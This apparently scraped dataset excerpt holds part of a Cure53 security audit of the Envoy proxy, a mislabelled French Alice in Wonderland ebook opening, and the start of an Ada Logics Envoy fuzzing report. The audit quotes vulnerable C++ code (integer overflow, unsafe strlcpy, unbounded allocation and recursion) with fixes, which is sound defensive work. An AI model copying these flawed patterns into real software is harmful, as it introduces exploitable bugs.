02/27/18 7/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nAffected Source:\\nvoid StreamEncoderImpl::encodeHeader(const char* key, uint32_t key_size , const \\nchar* value, uint32_t value_size ) {\\n connection_.reserveBuffer( key_size + value_size + 4 );\\n ASSERT(key_size > 0);\\n connection_.copyToBuffer( key, key_size);\\n[...]\\nSince the addition is based on 32-bit integers, an addition of the values 0x7fffffff,\\n0x7fffffff, and 4 (for instance) will lead to the value 2 being passed to reserveBuffer.\\nThus, it will cause an allocation of a significantly smaller size. This was also checked\\ninside the assembly where the addition is carried out and stored into the 32-bit large esi\\nregister before being passed to reserveBuffer:\\nAssembly snippet:\\n 0x0000000000684049 <+25>: lea 0x4(%r13,%r12,1),%esi\\n 0x000000000068404e <+30>: sub $0x18,%rsp\\n 0x0000000000684052 <+34>: mov 0x38(%rdi),%rdi\\n 0x0000000000684056 <+38>: mov %rcx,-0x38(%rbp)\\n 0x000000000068405a <+42>: callq 0x683f80 \\n\\nLater on, copyToBuffer is called with key_size of 0x7fffffff, despite there being room for\\nonly 2 bytes. This would eventually be caught by the ASSERT statement inside\\ncopyToBuffer where the remaining size is checked against the passed length, as\\nillustrated below.\\nAffected Source:\\nvoid ConnectionImpl::copyToBuffer(const char* data, uint64_t length) {\\n ASSERT(bufferRemainingSize() >= length);\\n memcpy(reserved_current_, data, length);\\n reserved_current_ += length;\\n}\\nHowever, since this is not explicitly declared as an RELEASE_ASSERT, there is no\\nguarantee that this check will eventually land in the compiled version, thus opening the\\ndoor for another potential overflow. It is recommended to catch the mentioned integer\\noverflow, for example by relying on the built-in functionalities of GCC’1, specifically\\n__builtin_uadd_overflow .\\n1 https://gcc.gnu.org/onlinedocs/gcc/Integer-Overflow-Builtins.html\\nCure53, Berlin · 02/27/18 8/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nMiscellaneous Issues\\nThis section covers those noteworthy findings that did not lead to an exploit but might aid\\nan attacker in achieving their malicious goals in the future. Most of these results are\\nvulnerable code snippets that did not provide an easy way to be called. Conclusively,\\nwhile a vulnerability is present, an exploit might not always be possible.\\nEP-01-005 Common: strlcpy does not check for zero-sized Parameters (Low)\\nAnother potentially flawed function was identified inside the Envoy’s utility library where\\nall sorts of useful wrappers are defined. One of the items is a strlcpy implementation\\nwhich is essentially just a wrapper around strncpy, used to make sure that the\\ndestination is always null-terminated.\\nAffected File:\\nenvoy/source/common/common/utility.cc\\nAffected Source:\\nsize_t StringUtil::strlcpy(char* dst, const char* src, size_t size) {\\n strncpy(dst, src, size - 1);\\n dst[size - 1] = '\\\\0';\\n return strlen(src);\\n}\\nThe dangers associated with wrappers like these one stems from the fact that the\\nprogrammer always needs to make sure that the passed size is actually greater than\\nzero. Otherwise the size - 1 will eventually wrap around to 0xffffffff and cause a copy\\noperation that will continue to result in an overflow as long as no terminating null byte is\\nfound in the source operand. A useful hardening addition here would be to make the\\nwrapper itself check whether size is greater than 0. The proposed strategy will always\\nprevent incorrect usage of the strlcpy function.\\nEP-01-006 Redis: User-Controlled Allocation leads to DoS (Medium)\\nDuring a cursory inspection of the Redis codec it was found that the implementation\\nrelied on a user-supplied length arguments to perform memory allocations. Please\\nconsider the code excerpt below to understand the corresponding flaw.\\nAffected File:\\nenvoy/source/common/redis/codec_impl.cc\\nAffected Source:\\n} else {\\n std::vector values( pending_integer_.integer_ );\\nCure53, Berlin · 02/27/18 9/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\n current_value.value_->asArray().swap(values);\\n pending_value_stack_.push_front({¤t_value.value_->asArray()[0], 0});\\n state_ = State::ValueStart;\\n}\\nIt can be observed that the code uses the previously parsed value of\\npending_integer_.integer_ for allocating an array. Supplying an overly large array length\\nmight hence provoke an out-of-memory condition, resulting in a DoS issue. It is generally\\nrecommended to perform strict checks on all user-provided length arguments before\\nusing them to perform allocations.\\nEP-01-007 MongoDB: Stack Exhaustion via unbounded Recursion (Medium)\\nA cursory inspection of the MongoDB implementation revealed that the BSON parsing\\ncode allows for unbounded recursion depths when nested documents are being\\nhandled. The following code excerpt can shed light on why this is a bad practice.\\nAffected File:\\nenvoy/source/common/mongo/bson_impl.cc\\nAffected Source:\\nvoid DocumentImpl::fromBuffer(Buffer::Instance& data) {\\n[...]\\ncase Field::Type::DOCUMENT: {\\n ENVOY_LOG(trace, \\\"BSON document\\\");\\n addDocument(key, DocumentImpl::create(data));\\n break;\\n}\\nAffected File:\\nenvoy/source/common/mongo/bson_impl.h\\nAffected Source:\\nstatic DocumentSharedPtr create(Buffer::Instance& data) {\\n std::shared_ptr new_doc{new DocumentImpl()};\\n new_doc->fromBuffer(data);\\n return new_doc;\\n}\\nIt can be observed that the code recursively calls the fromBuffer() method for building\\nnew DocumentImpl instances. A deeply-nested BSON document might hence lead to a\\nstack memory exhaustion, resulting in a DoS condition. It is recommended to generally\\nrestrict the number of possible nesting levels to an appropriate value.\\nCure53, Berlin · 02/27/18 10/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nEP-01-008 MongoDB: Lax Parsing when processing malformed Messages (Low)\\nAnother issue found during a cursory inspection of the MongoDB implementation was\\nlinked to the parsing of code, which was relatively permissive when it came to malformed\\nmessages. A code excerpt supplied next can illustrate the issue at hand.\\nAffected File:\\nenvoy/source/common/mongo/bson_impl.cc\\nAffected Source:\\nvoid ReplyMessageImpl::fromBuffer( uint32_t, Buffer::Instance& data) {\\n ENVOY_LOG(trace, \\\"decoding reply message\\\");\\n flags_ = Bson::BufferHelper::removeInt32(data);\\n cursor_id_ = Bson::BufferHelper::removeInt64(data);\\n starting_from_ = Bson::BufferHelper::removeInt32(data);\\n number_returned_ = Bson::BufferHelper::removeInt32(data);\\n for (int32_t i = 0; i < number_returned_; i++) {\\n documents_.emplace_back(Bson::DocumentImpl::create(data));\\n }\\n ENVOY_LOG(trace, \\\"{}\\\", toString(true));\\n}\\n[...]\\nbool DecoderImpl::decode(Buffer::Instance& data) {\\n[...]\\n uint32_t message_length = Bson::BufferHelper::peakInt32(data);\\n ENVOY_LOG(trace, \\\"message is {} bytes\\\", message_length);\\n if (data.length() < message_length) {\\n return false;\\n }\\n[...]\\n switch (op_code) {\\n case Message::OpCode::OP_REPLY: {\\n std::unique_ptr message(new ReplyMessageImpl(request_id, \\nresponse_to));\\n message->fromBuffer( message_length, data);\\n callbacks_.decodeReply(std::move(message));\\n break;\\n }\\nIt can be observed that the code makes use of the decode() method in order to parse a\\nMongoDB message from a buffer. In a first step, the message length field is extracted.\\nAfter performing several other operations, the actual message is decoded using\\nmessage->fromBuffer(message_length, data) .\\nCure53, Berlin · 02/27/18 11/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nHowever, as the definition of ReplyMessageImpl::fromBuffer() shows, the previously\\nextracted length field is not actually considered. The fromBuffer() method could hence\\nconsume more bytes than the message’s length field actually indicates. Clearly, in order\\nto provoke such a situation, a malformed message would have to be sent in the first\\nplace. To sum up this flaw and mitigation, it might be advisable to add stricter checks\\nregarding message sizes to the parsing code. A revised strategy would signify a\\ndefense-in-depth approach.\\nConclusion\\nIn spite of eight security-relevant findings, the team responsible for this assessment of\\nthe Envoy compound can attest to the overall good state of security matters at the tested\\nproject. Tasking an eight-member testing team from Cure53 and Secfault Security GmbH\\nentities has clearly demonstrated the robustness of the Envoy scope, while also enabled\\nfor some minor flaws to be pointed out and - ideally - remediated. After spending twenty\\ndays on the Envoy test target in February 2018, the penetration testers concluded that\\nthe software was appropriately built and deployed. Similarly positive impression\\nconcerned the Envoy code, which the auditors found to be well-written.\\nTo comment on some specifics of this white-box assessment, it should be noted that the\\nmaintainers requested a specific threat model to be covered. This encompassed a data-\\nplane compromise and Denial-of-Service, which were addressed in depth by Cure53.\\nBecause of this focus, the less concerning areas were subsequently treated with lower\\npriority. From the test it quickly became apparent that the software boasted a modern\\narchitecture and security was integrally interwoven into the deployment actions and\\ndesign decisions taken by the project’s development team.\\nFurther noticeable was the fact that the team run various code quality assurance tools\\nand scanners to make sure that the software was not affected by the bugs and memory\\ncorruptions commonly affecting similar projects, especially those surfacing during a\\nshared timeframe. Another particularly positive aspect to mention was the careful\\nselection and integration of high-quality and well-vetted external components. Despite\\nthrough checks, not a single item bearing a noteworthy “Critical” risk was spotted.\\nOn a less positive note, the above highly commendable attention to security did not\\nextend to the web frontend for Admin users. This component was then taken out of\\nscope. The decision was explained by the fact that having this item considered as part of\\nthe attack surface does not hold in terms of the frontend carrying a minimal risk.\\nFor the sake of completeness it should be noted that a full coverage of the entire\\nspectrum of the software in scope was an impossible task. By acknowledging the sheer\\nCure53, Berlin · 02/27/18 12/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nvolume, a considerable size and the myriad of implementation details on Envoy, it should\\nbe clarified that the goal was to account for security on the focal areas and most\\nsensitive, potentially risk-laden or threatened items. The actually reached level of\\ncoverage was considered good, especially as the robustness of the audited code and\\nimplementation of good practices appeared to have carried through different layers and\\narenas. This can be read as an indicator of consistently good patterns and high-quality\\nsecurity being present across the entire scope rather than a finding only applicable to the\\nexplicitly prioritized scope.\\nIn sum, the testers found the software to be quite mature and well-structured despite its\\ninherent complexity. It can be expected that the discovery of the flaws will only increase\\nthe overall good direction that the Envoy team is heading in from a security standpoint.\\nCure53 would like to thank Harvey Tuch, Matt Klein and Joshua Marantz from the Envoy\\nproxy team as well as Chris Aniszczyk of The Linux Foundation for their excellent project\\ncoordination, support and assistance, both before and during this assignment. Special\\nthanks need to be extended as well to The Linux Foundation for funding this project.\\nCure53, Berlin · 02/27/18 13/13\"\n }\n]"}}},{"rowIdx":39475,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Carroll_AliceAuPaysDesMerveilles.pdf\",\n \"project_name\": \"MetalLB\",\n \"subcategory\": \"Service Proxy\"\n}"},"content":{"kind":"list like","value":[{"data":" \nLewis Carroll \nALICE AU PAYS \nDES MERVEILLES \n(1865 ) \n Édition du groupe « Ebooks libres et gratuits » \n \n \n \n \n \n Table des matières \n \nCHAPITRE I Descente dans le terrier du lapin ................. 4 \nCHAPI TRE II La mare de larmes ................................ ...... 16 \nCHAPITRE III Une course au « Caucus » et une longue \nhistoire ................................ ................................ ................... 28 \nCHAPITRE IV Le lapin fait intervenir le petit Bill .......... 39 \nCHAPITRE V Les conseils de la Chenille ......................... 53 \nCHAPITRE VI Porc et poivre ................................ ............ 68 \nCHAPITRE VII Un thé chez les fous ................................ 87 \nCHAPITRE VIII Le terrain de croquet de la Reine ...... 104 \nCHAPITRE IX H istoire de la Simili -Tortue ................. 121 \nCHAPITRE X Le quadrille des homards ....................... 137 \nCHAPITRE XI Qui a dérobé les tartes ? ....................... 152 \nCHAPITRE XII La déposition d ’Alice ........................... 166 \nÀ propos de cette édition électronique .......................... 180 \n Alice au pays des merveilles - Descente dans le terrier du lapin \n– 4 – CHAPITRE I \nDescente dans le terrier du lapin \nAlice commençait à se sentir très lasse de rester assise à \ncôté de sa sœur , sur le talus , et de n ’avoir rien à faire : une fois \nou deux , elle avait jeté un coup d ’œil sur le livre que lisait sa \nsœur ; mais il ne contenait ni images ni d ialogues : « Et, \npensait Alice , à quoi peut bien servir un livre où il n ’y a ni \nimages ni dialogues ? » \n \n Alice au pays des merveilles - Descente dans le terrier du lapin \n– 5 – \nElle se demandait (dans la mesure où elle était capable de \nréfléchir , car elle se sentait tout endormie et toute stupide à \ncause de la chaleur ) si le plaisir de tresser une guirlande de \npâquerettes valait la peine de se lever et d ’aller cueillir les \npâquerettes , lorsque , brusquement , un Lapin Blanc aux yeux \nroses passa en courant tout près d ’elle. \n \n \n \nCeci n ’avait rien de particulièrement remarquable ; et \nAlice ne trouva pas non plus tellement bizarre d ’entendre le \nLapin se dire à mi -voix : « Oh, mon Dieu ! Oh, mon Dieu ! Je \nvais être en retard ! » (Lorsqu ’elle y réfléchit par la suite , il lui \nvint à l ’esprit qu ’elle aurait dû s ’en étonner , mais , sur l e \nmoment , cela lui sembla tout naturel ) ; cependant , lorsque le \nLapin tira bel et bien une montre de la poche de son gilet , Alice au pays des merveilles - Descente dans le terrier du lapin \n– 6 – regarda l ’heure , et se mit à courir de plus belle , Alice se dressa \nd’un bond , car, tout à coup , l’idée lui était venue qu ’elle \nn’avait jamais vu de lapin pourvu d ’une poche de gilet , ni \nd’une montre à tirer de cette poche . Dévorée de curiosité , elle \ntraversa le champ en courant à sa poursuite , et eut la chance \nd’arriver juste à temps pour le voir s ’enfoncer comme une \nflèche dans un lar ge terrier placé sous la haie . \n \nUn instant plus tard , elle y pénétrait à son tour , sans se \ndemander une seule fois comment diable elle pourrait bien en \nsortir . \n \nLe terrier était d ’abord creusé horizontalement comme \nun tunnel , puis il présentait une pente s i brusque et si raide \nqu’Alice n ’eut même pas le temps de songer à s ’arrêter avant \nde se sentir tomber dans un puits apparemment très profond . \n \nSoit que le puits fût très profond , soit que Alice tombât \ntrès lentement , elle s ’aperçut qu ’elle avait le temps , tout en \ndescendant , de regarder autour d ’elle et de se demander ce \nqui allait se passer . D’abord , elle essaya de regarder en bas \npour voir où elle allait arriver , mais il faisait trop noir pour \nqu’elle pût rien distinguer . Ensuite , elle examina les parois du \npuits , et remarqua qu ’elles étaient garnies de placards et \nd’étagères ; par endroits , des cartes de géographie et des \ntableaux se trouvaient accrochés à des pitons . En passant , elle \nprit un pot sur une étagère ; il portait une étiquette sur \nlaquelle on lisait : MARMELADE D ’ORANGES , mais , à la \ngrande déception d ’Alice , il était vide . Elle ne voulut pas le \nlaisser tomber de peur de tuer quelqu ’un et elle s ’arrangea \npour le poser dans un placard devant lequel elle passait , tout \nen tombant . Alice au pays des merveilles - Descente dans le terrier du lapin \n– 7 – \n \n \n« Ma foi ! songea -t-elle, après une chute pareille , cela me \nsera bien égal , quand je serai à la maison , de dégringoler dans \nl’escalier ! Ce qu ’on va me trouver courageuse ! Ma parole , \nmême si je tombais du haut du toit , je n ’en parlerais à \npersonne ! » (Supposition de s plus vraisemblables , en effet .) \n \nPlus bas , encore plus bas , toujours plus bas . Est-ce que \ncette chute ne finirait jamais ? « Je me demande combien de \nkilomètres j ’ai pu parcourir ? dit-elle à haute voix . Je ne dois \npas être bien loin du centre de la terr e. Voyons : cela ferait "}],"string":"[\n {\n \"data\": \" \\nLewis Carroll \\nALICE AU PAYS \\nDES MERVEILLES \\n(1865 ) \\n Édition du groupe « Ebooks libres et gratuits » \\n \\n \\n \\n \\n \\n Table des matières \\n \\nCHAPITRE I Descente dans le terrier du lapin ................. 4 \\nCHAPI TRE II La mare de larmes ................................ ...... 16 \\nCHAPITRE III Une course au « Caucus » et une longue \\nhistoire ................................ ................................ ................... 28 \\nCHAPITRE IV Le lapin fait intervenir le petit Bill .......... 39 \\nCHAPITRE V Les conseils de la Chenille ......................... 53 \\nCHAPITRE VI Porc et poivre ................................ ............ 68 \\nCHAPITRE VII Un thé chez les fous ................................ 87 \\nCHAPITRE VIII Le terrain de croquet de la Reine ...... 104 \\nCHAPITRE IX H istoire de la Simili -Tortue ................. 121 \\nCHAPITRE X Le quadrille des homards ....................... 137 \\nCHAPITRE XI Qui a dérobé les tartes ? ....................... 152 \\nCHAPITRE XII La déposition d ’Alice ........................... 166 \\nÀ propos de cette édition électronique .......................... 180 \\n Alice au pays des merveilles - Descente dans le terrier du lapin \\n– 4 – CHAPITRE I \\nDescente dans le terrier du lapin \\nAlice commençait à se sentir très lasse de rester assise à \\ncôté de sa sœur , sur le talus , et de n ’avoir rien à faire : une fois \\nou deux , elle avait jeté un coup d ’œil sur le livre que lisait sa \\nsœur ; mais il ne contenait ni images ni d ialogues : « Et, \\npensait Alice , à quoi peut bien servir un livre où il n ’y a ni \\nimages ni dialogues ? » \\n \\n Alice au pays des merveilles - Descente dans le terrier du lapin \\n– 5 – \\nElle se demandait (dans la mesure où elle était capable de \\nréfléchir , car elle se sentait tout endormie et toute stupide à \\ncause de la chaleur ) si le plaisir de tresser une guirlande de \\npâquerettes valait la peine de se lever et d ’aller cueillir les \\npâquerettes , lorsque , brusquement , un Lapin Blanc aux yeux \\nroses passa en courant tout près d ’elle. \\n \\n \\n \\nCeci n ’avait rien de particulièrement remarquable ; et \\nAlice ne trouva pas non plus tellement bizarre d ’entendre le \\nLapin se dire à mi -voix : « Oh, mon Dieu ! Oh, mon Dieu ! Je \\nvais être en retard ! » (Lorsqu ’elle y réfléchit par la suite , il lui \\nvint à l ’esprit qu ’elle aurait dû s ’en étonner , mais , sur l e \\nmoment , cela lui sembla tout naturel ) ; cependant , lorsque le \\nLapin tira bel et bien une montre de la poche de son gilet , Alice au pays des merveilles - Descente dans le terrier du lapin \\n– 6 – regarda l ’heure , et se mit à courir de plus belle , Alice se dressa \\nd’un bond , car, tout à coup , l’idée lui était venue qu ’elle \\nn’avait jamais vu de lapin pourvu d ’une poche de gilet , ni \\nd’une montre à tirer de cette poche . Dévorée de curiosité , elle \\ntraversa le champ en courant à sa poursuite , et eut la chance \\nd’arriver juste à temps pour le voir s ’enfoncer comme une \\nflèche dans un lar ge terrier placé sous la haie . \\n \\nUn instant plus tard , elle y pénétrait à son tour , sans se \\ndemander une seule fois comment diable elle pourrait bien en \\nsortir . \\n \\nLe terrier était d ’abord creusé horizontalement comme \\nun tunnel , puis il présentait une pente s i brusque et si raide \\nqu’Alice n ’eut même pas le temps de songer à s ’arrêter avant \\nde se sentir tomber dans un puits apparemment très profond . \\n \\nSoit que le puits fût très profond , soit que Alice tombât \\ntrès lentement , elle s ’aperçut qu ’elle avait le temps , tout en \\ndescendant , de regarder autour d ’elle et de se demander ce \\nqui allait se passer . D’abord , elle essaya de regarder en bas \\npour voir où elle allait arriver , mais il faisait trop noir pour \\nqu’elle pût rien distinguer . Ensuite , elle examina les parois du \\npuits , et remarqua qu ’elles étaient garnies de placards et \\nd’étagères ; par endroits , des cartes de géographie et des \\ntableaux se trouvaient accrochés à des pitons . En passant , elle \\nprit un pot sur une étagère ; il portait une étiquette sur \\nlaquelle on lisait : MARMELADE D ’ORANGES , mais , à la \\ngrande déception d ’Alice , il était vide . Elle ne voulut pas le \\nlaisser tomber de peur de tuer quelqu ’un et elle s ’arrangea \\npour le poser dans un placard devant lequel elle passait , tout \\nen tombant . Alice au pays des merveilles - Descente dans le terrier du lapin \\n– 7 – \\n \\n \\n« Ma foi ! songea -t-elle, après une chute pareille , cela me \\nsera bien égal , quand je serai à la maison , de dégringoler dans \\nl’escalier ! Ce qu ’on va me trouver courageuse ! Ma parole , \\nmême si je tombais du haut du toit , je n ’en parlerais à \\npersonne ! » (Supposition de s plus vraisemblables , en effet .) \\n \\nPlus bas , encore plus bas , toujours plus bas . Est-ce que \\ncette chute ne finirait jamais ? « Je me demande combien de \\nkilomètres j ’ai pu parcourir ? dit-elle à haute voix . Je ne dois \\npas être bien loin du centre de la terr e. Voyons : cela ferait \"\n }\n]"}}},{"rowIdx":39476,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"audit_fuzzer_adalogics_2021.pdf\",\n \"project_name\": \"Envoy\",\n \"subcategory\": \"Service Proxy\"\n}"},"content":{"kind":"list like","value":[{"data":"Envoy fuzzing improvements\n,\nApril 2021\nEnvoy fuzzing improvements\npresented by\nin collaboration with\nA u t h o r s\nDavid Korczynski\n<\ndavid@adalogics.com\n>\nAdam Korczynski\n<\nadam@adalogics.com\n>\nDate: 29th april, 2021\nThis report is licensed under Creative Commons 4.0\n(CC BY 4.0)\nAda Logics\nLondon, United Kingdom\n1\nEnvoy fuzzing improvements\n,\nApril 2021\nTable of Contents\nExecutive summary\n3\n1 Envoy fuzzing optimisations\n4\n1.1 Background on how coverage collection in libFuzzer\nworks.\n4\n1.1 is it possible to disable certain 8-bit counters?\n6\n1.2 How does coverage instrumentation impact fuzzer\nexecution speed in Envoy?\n7\n1.2.1 Execution speed of an empty fuzzer.\n7\n1.2.2 Using Prodfiler to observe the impact.\n9\n1.2.3 Using fuzzer instrumentation to assess the overall\ntime spent with fuzzing.\n10\n1.2.4 Counting the number of 8-bit inline counters\nin each Envoy fuzzer.\n11\n1.2.5 Conclusions\n12\n1.3 Improving Envoy fuzzer execution by reducing instrumentation\n13\n1.3.1 Disabling instrumentation\n13\n1.3.2 Results from disabling instrumentation\n14\nMeasuring different configurations\n14\nDeploying on OSS-Fuzz.\n15\n2 Fuzzing the Envoy UdpListener\n16\n3 Future advice\n18\n4 Conclusions\n19\n5 Appendix\n20\nA.0 Disassembly of empty fuzzers\n20\nA.1 Build configurations\n22\nA.2 Envoy UDP fuzzer coverage\n26\nAda Logics\nLondon, United Kingdom\n2\nEnvoy fuzzing improvements\n,\nApril 2021\nExecutive summary\nIn this engagement we performed two tasks. The first\nwas optimising the performance of\nend-to-end fuzzers and the second was developing a\nfuzzer for the UDP listener code of\nEnvoy.\nRegarding optimisation, we find that the cause of\nperformance issues in the end-to-end\nfuzzers is due to the large amount of code that is\ninstrumented for coverage-guiding the\nEnvoy fuzzers. Specifically, the Envoy fuzzers run\nwith a large amount of inline 8-bit\ncounters which is a counter inserted by\nSanitizerCoverage\non every edge of the target\napplication. libFuzzer uses the counters by iterating\nthrough all of the counters after each\nfuzz iteration in order to measure code coverage.\nThus, the more counters there are, the\nmore effort libFuzzer has to spend iterating through\nall counters on each fuzz iteration. We\nshow how this impacts Envoy performance in four different\nways:\n1.\nThe exact same empty fuzzer compiled with fuzzer instrumentation\nruns 419 times\nslower when also compiled with Envoy instrumentation.\n2.\nThe h2_capture_persistent_fuzz_test fuzzer spends\nonly 20% of the actual execution\ninside LLVMFuzzerTestOneInput.\n3.\nProfilers reveal an excessive amount of time is spent\ninside coverage-collection\ncode.\n4.\nThe end-to-end fuzzers contain around 1.2 million\ninline 8-bit counters, which is huge\nin comparison to other fuzzers, e.g. Lua fuzzers contain\n6000 inline 8-bit counters.\nWe show how limiting the coverage instrumentation\nimproves fuzzer performance and\nobserve the same effect on OSS-Fuzz statistics.\nRegarding UDP fuzzing, we develop a UDP fuzzer that\ntargets the code requested by the\nEnvoy team, namely handleReadCallback. We demonstrate\ncode coverage by observing the\ntarget code in OSS-Fuzz reports, and also demonstrates\nthat the fuzzer catches the DOS\nissue previously reported.\nIn this report we go through both of these tasks and\nspend considerable detail on the\ncoverage instrumentation part.\nAda Logics\nLondon, United Kingdom\n3\nEnvoy fuzzing improvements\n,\nApril 2021\n1 Envoy fuzzing optimisations\nThe goal of this task was to improve performance of\nthe end-to-end fuzzers of Envoy. In this\nsection we go through how we achieved this by first giving background information on how\nlibFuzzer uses coverage instrumentation, then we proceed\nto show how this instrumentation\naffects the Envoy fuzzers, and finally we show how\nto improve the performance of the\nfuzzers by reducing instrumentation.\nExecutive summary:\nThe instrumentation of Envoy has a significant slowdown\nof fuzzer execution. For example, a\nfuzzer with a single branch runs 419 times slower\nwith Envoy instrumentation than without.\nLimiting the amount of instrumentation used in the\nEnvoy project shows to increase\nperformance of the fuzzers. This has been added to\nthe OSS-Fuzz build of Envoy, which has\nshown to increase performance on the OSS-Fuzz logs.\nThere is future work for the Envoy\nmaintainers on refining the instrumentation of the\nfuzzers.\n1.1 Background on how coverage collection in libFuzzer\nworks.\nIn this section we outline how libFuzzer uses coverage\ninstrumentation to track fuzzer\nprogress. This is not related to Envoy explicitly,\nhowever, the content described in this\nsection gives an improved understanding as to why\nthe Envoy fuzzers lack performance.\nIn the LLVM source code, the file llvm-project/compiler-rt/lib/fuzzer/FuzzerTracePC.cpp\ncontains the logic for tracing coverage. At the bottom\nof this file you find a set of functions:\nvoid__sanitizer_cov_trace_pc_guard(uint32_t*Guard)void__sanitizer_cov_trace_pc()void__sanitizer_cov_trace_pc_guard_init(uint32_t*Start,uint32_t*Stop)void__sanitizer_cov_8bit_counters_init(uint8_t*Start,uint8_t*Stop)void__sanitizer_cov_pcs_init(constuintptr_t*pcs_beg,constuintptr_t*pcs_end)void__sanitizer_cov_trace_pc_indir(uintptr_tCallee)void__sanitizer_cov_trace_cmp8(uint64_tArg1,uint64_tArg2)void__sanitizer_cov_trace_const_cmp8(uint64_tArg1,uint64_tArg2)void__sanitizer_cov_trace_cmp4(uint32_tArg1,uint32_tArg2)void__sanitizer_cov_trace_const_cmp4(uint32_tArg1,uint32_tArg2)void__sanitizer_cov_trace_cmp2(uint16_tArg1,uint16_tArg2)void__sanitizer_cov_trace_const_cmp2(uint16_tArg1,uint16_tArg2)void__sanitizer_cov_trace_cmp1(uint8_tArg1,uint8_tArg2)void__sanitizer_cov_trace_const_cmp1(uint8_tArg1,uint8_tArg2)void__sanitizer_cov_trace_switch(uint64_tVal,uint64_t*Cases)void__sanitizer_cov_trace_div4(uint32_tVal)void__sanitizer_cov_trace_div8(uint64_tVal)void__sanitizer_cov_trace_gep(uintptr_tIdx)\nThese are all callbacks that SanitizerCoverage uses\n(\nhttps://clang.llvm.org/docs/SanitizerCoverage.html#id2\n)\nand from a high level perspective\nthe callbacks are used to track execution of code,\ne.g. basic blocks, in the target. One of the\nAda Logics\nLondon, United Kingdom\n4\nEnvoy fuzzing improvements\n,\nApril 2021\nimportant callback functions is__sanitizer_cov_8bit_counters_init\nwhich is described\nhere\nhttps://clang.llvm.org/docs/SanitizerCoverage.html#inline-8bit-counters\n.\nThis callback is\nused during fuzzing compilation and instructs the\ncompiler to insert inline counter increments\non every code edge. The idea is then that these counters\ncan be used to track how many\ntimes an edge was hit during execution.\nThe way libFuzzer uses these 8bit-counters is by iterating\nthrough all of them, i.e. iteration\nthrough a sequence of counters corresponding to the\nnumber of edges in the target\napplication, after each fuzz iteration in order to\ndetermine if new coverage has been\nachieved.\nIn theRunOne\nfunction inside the FuzzerLoop.cpp\n(\nhttps://github.com/llvm/llvm-project/blob/28ab7ff2d732fb0580486baa02b1383a72cec0cb/co\nmpiler-rt/lib/fuzzer/FuzzerLoop.cpp#L506\n) source we\nobserve the following code:\nExecuteCallback(Data, Size);autoTimeOfUnit = duration_cast(UnitStopTime- UnitStartTime);\nUniqFeatureSetTmp.clear();size_tFoundUniqFeaturesOfII =0;size_tNumUpdatesBefore = Corpus.NumFeatureUpdates();TPC.CollectFeatures([&](uint32_tFeature) {if(Corpus.AddFeature(Feature,static_cast(Size),Options.Shrink))UniqFeatureSetTmp.push_back(Feature);if(Options.Entropic)Corpus.UpdateFeatureFrequency(II, Feature);if(Options.ReduceInputs && II && !II->NeverReduce)if(std::binary_search(II->UniqFeatureSet.begin(),II->UniqFeatureSet.end(),Feature))FoundUniqFeaturesOfII++;});\nThis code snippet has two purposes. First, to runExecuteCallback\nwhich calls into the\nfuzzing entry point function (LLVMFuzzerTestOneInput\n).\nSecond,\nto gather the code coverage of the target follow the\nfuzzer’s single execution, which\nis done byTPC.CollectFeatures\n. TheTPC.CollectFeatures\ncode begins as follows:\ntemplate //voidCallback(uint32_tFeature)ATTRIBUTE_NO_SANITIZE_ADDRESSATTRIBUTE_NOINLINEsize_tTracePC::CollectFeatures(Callback HandleFeature)const{autoHandle8bitCounter = [&](size_tFirstFeature,size_tIdx,uint8_tCounter) {if(UseCounters)HandleFeature(static_cast(FirstFeature+ Idx *8+CounterToFeature(Counter)));elseHandleFeature(static_cast(FirstFeature+ Idx));};\nAda Logics\nLondon, United Kingdom\n5\nEnvoy fuzzing improvements\n,\nApril 2021\nsize_tFirstFeature =0;\nfor(size_ti =0; i < NumModules; i++) {for(size_tr =0; r < Modules[i].NumRegions;r++) {if(!Modules[i].Regions[r].Enabled)continue;FirstFeature +=8* ForEachNonZeroByte(Modules[i].Regions[r].Start,Modules[i].Regions[r].Stop,FirstFeature,Handle8bitCounter);}}\nThe nested for loop calls intoForEachNonZeroByte\nwith two pointers as the first\ntwo arguments. These arguments point to the areas\nin the code where a page of\ninline 8-bit counters exist, namely, each region in\ntheModules\nvector encapsulates\na page of 8bit counters. The implementation ofForEachNonZeroByte\nis defined here\nhttps://github.com/llvm/llvm-project/blob/e60d6e91e196d91a1b9bfcc93d9f43946ea29299/co\nmpiler-rt/lib/fuzzer/FuzzerTracePC.h#L184\nand essentially\nthe function will call the callback\n(Handle8bitCounter\n) for each nonzero byte in the memory\nregion. In the case of theRunOne\nfunction the result is to call into the function\nprovided by the call toTPC.CollectFeatures\n, which eventually calls into\nvarious functions related to the corpus,\ne.g.Corpus.AddFeature\nandCorpus.UpdateFeatureFrequency\nwhich will trigger\nchanges in the Corpus representation if the features\nindicate that a new piece of code has\nbeen executed.\nThe main point to get across in the above section\nis that nested for-loop inCollectFeatures\niterates through the regions with\ninline 8-bit counters, and what we will\nobserve in the Envoy fuzzers is that the number of\ninline 8-bit counters is significantly large.\n1.1 is it possible to disable certain 8-bit counters?\nA question that is relevant about how libFuzzer uses\nthe instrumentation is whether you can\ntell libFuzzer to disable checking of inline counters.\nIndeed, in theTPC.CollectFeatures\nfunction the loop that is extensive (shown above),\nnamely:\nfor(size_ti =0; i < NumModules; i++) {for(size_tr =0; r < Modules[i].NumRegions;r++) {if(!Modules[i].Regions[r].Enabled)continue;FirstFeature +=8* ForEachNonZeroByte(Modules[i].Regions[r].Start,Modules[i].Regions[r].Stop,FirstFeature,Handle8bitCounter);}}\nonly iterates through the inline 8-bit counters if\na given region is “Enabled\n”. Unfortunately,\ntheEnabled\nboolean will always be true for all regions\nas all regions are initialised to true\nAda 